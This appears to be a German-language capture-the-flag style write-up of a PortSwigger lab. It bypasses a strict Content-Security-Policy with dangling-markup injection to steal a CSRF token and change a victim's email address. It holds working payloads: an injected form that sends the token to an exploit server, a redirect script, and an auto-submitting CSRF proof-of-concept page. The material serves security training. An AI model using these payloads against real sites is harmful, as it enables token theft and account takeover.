> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md).

# Reflektiertes XSS, geschützt durch eine sehr strenge CSP, durch Dangling-Markup-Angriff

### Reflektiertes XSS, geschützt durch eine sehr strenge CSP, mit Dangling-Markup-Angriff

#### Lernziel

* Führe einen XSS-Angriff durch, der die CSP umgeht und das CSRF-Token eines simulierten Benutzers exfiltriert (über Burp Collaborator).
* Verwende dieses Token dann, um die E-Mail-Adresse des Opfers zu ändern in `hacker@evil-user.net`.
* Der für das Opfer sichtbare Vektor muss das Wort enthalten **Klicken** (z. B. `Klick mich`) um es zum Klicken zu animieren.
* Testkonto: `wiener:peter`.

#### Erste Beobachtungen

* Im Formular zur E-Mail-Aktualisierung das Hinzufügen von `?email=` zur URL steuert den Wert (`Wert`) von `E-Mail` Eingabefeld.

<figure><img src="/files/8df5302b3257fa92013f2ce01f09f03c35c3bfa3" alt=""><figcaption></figcaption></figure>

Das Feld ist anfällig für das Einschleusen von HTML-Tags (Testbeispiele):

* `test"><h1>test</h1>` → `<h1>` wird eingeschleust und zurückgegeben.

```html
test"><h1>test</h1>
```

<figure><img src="/files/6b35d55eb0452e4febf9eb0c68cf4f4554f39b24" alt="" width="422"><figcaption></figcaption></figure>

* `test"><script>alert(0)</script>` → `<script>` erscheint im Formular, wird aber \*\* nicht ausgeführt\*\*.

```javascript
test"><script>alert(0)</script>
```

<figure><img src="/files/dfdf8e09e406c9870b42e6e7795c97aeccd5fb38" alt="" width="429"><figcaption></figcaption></figure>

Die Browserkonsole weist auf eine Blockierung durch die Sicherheitsrichtlinie hin:

{% hint style="danger" %}
Content-Security-Policy: Die Einstellungen der Seite haben verhindert, dass ein Inline-Skript (script-src-elem) ausgeführt wird, weil es gegen die folgende Anweisung verstößt: “script-src 'self'”
{% endhint %}

<figure><img src="/files/230268e1a79a517664a01cab7a91f0ac94786eb3" alt=""><figcaption></figcaption></figure>

Beobachteter CSP-Header:

`content-security-policy`/ `default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';`

<figure><img src="/files/36caa9dfde5ae69d015aff04ff2e5e63485152fc" alt=""><figcaption></figcaption></figure>

#### Angriffsstrategie (hängendes Markup)

* Anstatt ein `<script>` (durch die CSP gesperrt), wird das aktuelle Formular geschlossen und ein neues Formular\*\* mit dem `action` Attribut, das auf unseren Exploit-Server zeigt (Exploit-Server). Dieses Formular enthält einen Button namens "Click Me", um den Benutzer zum Klicken zu animieren.

Beispiel für eine Injection, die das Formular schließt und ein neues erstellt (URL-kodiertes Format in der Weiterleitung):

{% code overflow="wrap" %}

```javascript
test"></form><form class="login-form" name"change-email-form" action="https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit" method="GET"><button class="button" type="submit">Click me</button
```

{% endcode %}

<figure><img src="/files/138cae7184c160aaef3e78cc45a64bcccc86cd2f" alt=""><figcaption></figcaption></figure>

* Wenn dieser Link auf dem Rechner des Opfers geöffnet wird (z. B. per Weiterleitung) und das Opfer auf den Button klickt, wird das CSRF-Token in der URL an den Exploit-Server gesendet und erscheint in den Protokollen des Gegenservers.

<figure><img src="/files/e293726e692d69826f3360eef785db91486668c3" alt=""><figcaption></figcaption></figure>

#### Beispiel für eine eingeschleuste Weiterleitung (um den Benutzer auf die verwundbare Seite mit Payload zu zwingen)

* Eingeschleustes Skript auf der Angreiferseite, um das Opfer auf die Payload-Seite umzuleiten (kodierte URL):

```javascript
<script>
location="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account?email=test%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name%22change-email-form%22%20action=%22https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClick%20me%3C/button"
</script>
```

* Sobald das Opfer umgeleitet wurde und auf den Button geklickt hat, findet sich das CSRF-Token in den Protokollen des Exploit-Servers.

<figure><img src="/files/b72f0b330b80c124c2fea7854b25129c594264a8" alt=""><figcaption></figcaption></figure>

#### Operation nach der Exfiltration: Verwendung des CSRF-Tokens zum Ändern der E-Mail

* Nachdem das CSRF-Token (aus den Protokollen des Exploit-Servers) erhalten wurde, wird eine HTML-Seite erstellt, die einen POST an `/my-account/change-email` mit:
* `email = hacker@evil-user.net`
* `CSRF = <erhaltenes_token>`

<figure><img src="/files/b5754bf282cc66fa4385fc86b696d371f71f8ebd" alt="" width="563"><figcaption></figcaption></figure>

Beispiel für ein erzeugtes HTML-PoC (durch Burp oder manuell) zur Durchführung einer automatisierten POST-Anfrage

<figure><img src="/files/d1c167f674ff839cac02d8acb9ebcc0fd883c998" alt=""><figcaption></figcaption></figure>

```html
<html>
  <body>
    <form action="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@evil-user.net" />
      <input type="hidden" name="csrf" value="L0joiDIMrKKrO7jkqiC6sLYR5MNEbUfu" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
